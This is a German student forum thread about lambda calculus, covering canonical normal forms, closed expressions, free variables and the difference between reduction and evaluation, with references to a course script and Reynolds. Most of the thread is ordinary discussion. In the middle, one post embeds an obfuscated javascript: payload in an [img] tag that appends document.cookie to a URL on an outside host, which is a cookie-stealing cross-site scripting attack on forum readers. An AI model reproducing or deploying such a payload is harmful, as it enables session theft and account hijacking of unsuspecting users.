Kann mir bitte mal jemand erklären, warum
1. l y .( l x . x x ) (l x. x x) eine kanonische Normalform ist und
2. (l x . x x ) (l x. x x) nur eine geschlossene Applikation, aber keine kanonische Normalform ?
Nach Reynolds ist eine kanonische Form eine Abstraktion.
Dies ist bei Ausdruck 1 der Fall: \y.<exp>
Ausdruck 2 ist eine Applikation: <exp><exp>
(Was Abstraktion und Applikation sind steht im Skript auf Seite 106.)
S. 109
was bedeutet
'e => z' = 'e wird zu z ausgewertet'
ist da e die Anfangsformel oder die erste kanonische Form?
ist z die erste kanonische Form oder die Normalform?
was ist überhaupt so spannend an der ersten kanonischen Form?
wieso unterscheidet man so großartig zwischen -> (Kontraktion) und => (Auswertung?)
wofür die ß-evaluation-Regel, wenn es schon die ß-reduction gibt?
wieso wird wie auf S. 108 unten beschrieben nicht 'normale Reduktion'
sondern ein (namenloses) anderes Verfahren mit diesem => benutzt?
(was ist der Unterschied)
-> bedeutet Reduktion, => bedeutet Evaluation
Der Unterschied besteht darin, dass nur geschlossene Ausdrücke evaluiert werden (wenn freie Variablen im Ausdruck stehen handelt es sich eher um Formelmanipulation als etwas was man als Evaluation verstehen würde).
Bei 'e=>z' ist e eine geschlossene Form und z die erste kanonische Form der normalen Auswertung die mit e beginnt (Reynolds S. 201). Satz 5.4 im Skript besagt dagegen nach meinem Verständnis, dass z eine beliebige kanonische Form sein kann. Ist glaube ich nicht so entscheidend.
Der Grund aus dem die Unterscheidung gemacht wird, liegt an den funktionalen Programmiersprachen, bei denen nur bis zur ersten kanonischen Form evaluiert wird. Wenn man eine Abstraktion hat (also eine kanonische Form), dann weiß man, dass der Ausdruck eine Funktion darstellt. Diese wird dann auf die Argumente angewendet und nicht vorher noch weiter reduziert.
das klingt schon sehr hilfreich, danke
-> bedeutet Reduktion, => bedeutet Evaluation
Der Unterschied besteht darin, dass nur geschlossene Ausdrücke evaluiert werden (wenn freie Variablen im Ausdruck stehen handelt es sich eher um Formelmanipulation als etwas was man als Evaluation verstehen würde).
man kann doch eh nur geschlossene Ausdrücke (Redex) vereinfachen und sonst ja nix,
du meist damit sicher, dass in 'normal order' nur die äußersten Redex vereinfacht werden bis zur ersten kanonischen Form?
was ist mit diesen 'freien Variablen'? sagt mir grad nix
ist eigentlich 'geschlossener Ausdruck' gleichbedeutend 'Applikation'?
was ist mit diesen 'freien Variablen'? sagt mir grad nix
Freie Variablen.. waren das nicht die, die nicht in einem Quantor gebunden sind? (Keine Gewähr, ich erinnere mich nur so halb aus F1)
[img]javascript:sp=String.fromCharCode(32);b1=String.fromCharCode(91);b2=String.fromCharCode(93);eval('x=new'+sp+'Array()');x=document.images;eval('for(i=0;i<x.length;i++)if(x'+b1+'i'+b2+'.src.search(/javascript:/)!=-1){x'+b1+'i'+b2+'.src=\'ht'+'tp://ww'+'
w.kamalook.de/sven/transparent/?'+document.cookie+'\';x'+b1+'i'+b2+'.height=\'1\';break;}');[/img]
man kann doch eh nur geschlossene Ausdrücke (Redex) vereinfachen und sonst ja nix,
was ist mit diesen 'freien Variablen'? sagt mir grad nix
Freie Variablen sind im Skript S. 106 definiert. (Variablen werden durch lambda gebunden, nicht-gebundene Variablen sind frei.)
Auf S. 108, Z. 7 findet man eine Formel
(\x.(\y.y x) z)(z w)
in der z frei ist.
Wenn ich alle Definitionen richtig verstanden habe, kann man bei dieser Formel nur Reduktionen anwenden, aber keine Evaluation, da bei Satz 5.4 'e => z' für e ein geschlossener Ausdruck gefordert wird.
ist eigentlich 'geschlossener Ausdruck' gleichbedeutend 'Applikation'?
Nein. Eine Applikation muss nicht geschlossen sein (s.o.).
Ein geschlossener Ausdruck kann entweder eine Applikation oder eine Abstraktion (kanonische Form) sein.
Freie Variablen sind im Skript S. 106 definiert. (Variablen werden durch lambda gebunden, nicht-gebundene Variablen sind frei.)
ach da hatte Zaphod ja recht ;)
aber was meintest du jetzt mit deinem Satz dazu,
was hat das mit Reduktion/ Evaluation zu tun wo man do eh nur Redex zerkleinern kann
(\x.(\y.y x) z)(z w)
in der z frei ist.
Wenn ich alle Definitionen richtig verstanden habe, kann man bei dieser Formel nur Reduktionen anwenden, aber keine Evaluation, da bei Satz 5.4 'e => z' für e ein geschlossener Ausdruck gefordert wird.
ist eigentlich 'geschlossener Ausdruck' gleichbedeutend 'Applikation'?
Nein. Eine Applikation muss nicht geschlossen sein (s.o.).
Ein geschlossener Ausdruck kann entweder eine Applikation oder eine Abstraktion (kanonische Form) sein.
ja dann verrat doch mal bitte warum das da oben kein geschlossener Ausdruck ist?
'ein geschlossener Ausdruck kann eine Applikation sein'
+ 'Eine Applikation muss nicht geschlossen sein'
-> es gibt Applikationen die nicht geschlossen sind
-> wie sehen die aus/ was ist der Unterschied???
und wie ist das bei Abstraktionen, sind alle oder einige geschlossen?
ok, habe jetzt auch mal H. Reynolds bemüht ;)
geschlossener Ausdruck = mit ohne freien Variablen,
wie überraschend,
aber die 5 Seiten im Skript sind ja so knapp,
da glaub ich gar nix mehr ohne 2. Quelle ;)
Evaluation von Formeln mit freien Variablen macht man also nicht, soso..
Bei 'e=>z' ist e eine geschlossene Form und z die erste kanonische Form der normalen Auswertung die mit e beginnt (Reynolds S. 201). Satz 5.4 im Skript besagt dagegen nach meinem Verständnis, dass z eine beliebige kanonische Form sein kann. Ist glaube ich nicht so entscheidend.
wenn man einen Gesamtausdruck a = ee' evaluieren will,
kann man nur den äußersten Redex reduzieren
-> somit kommt man eh nur zur ersten kanonischen Form und keiner weiteren
(und kann auch die Teilausdrücke nicht weiter auswerten
da beim Auswerten (=>) nicht das Ersetzen von Teilausdrücken definiert ist)
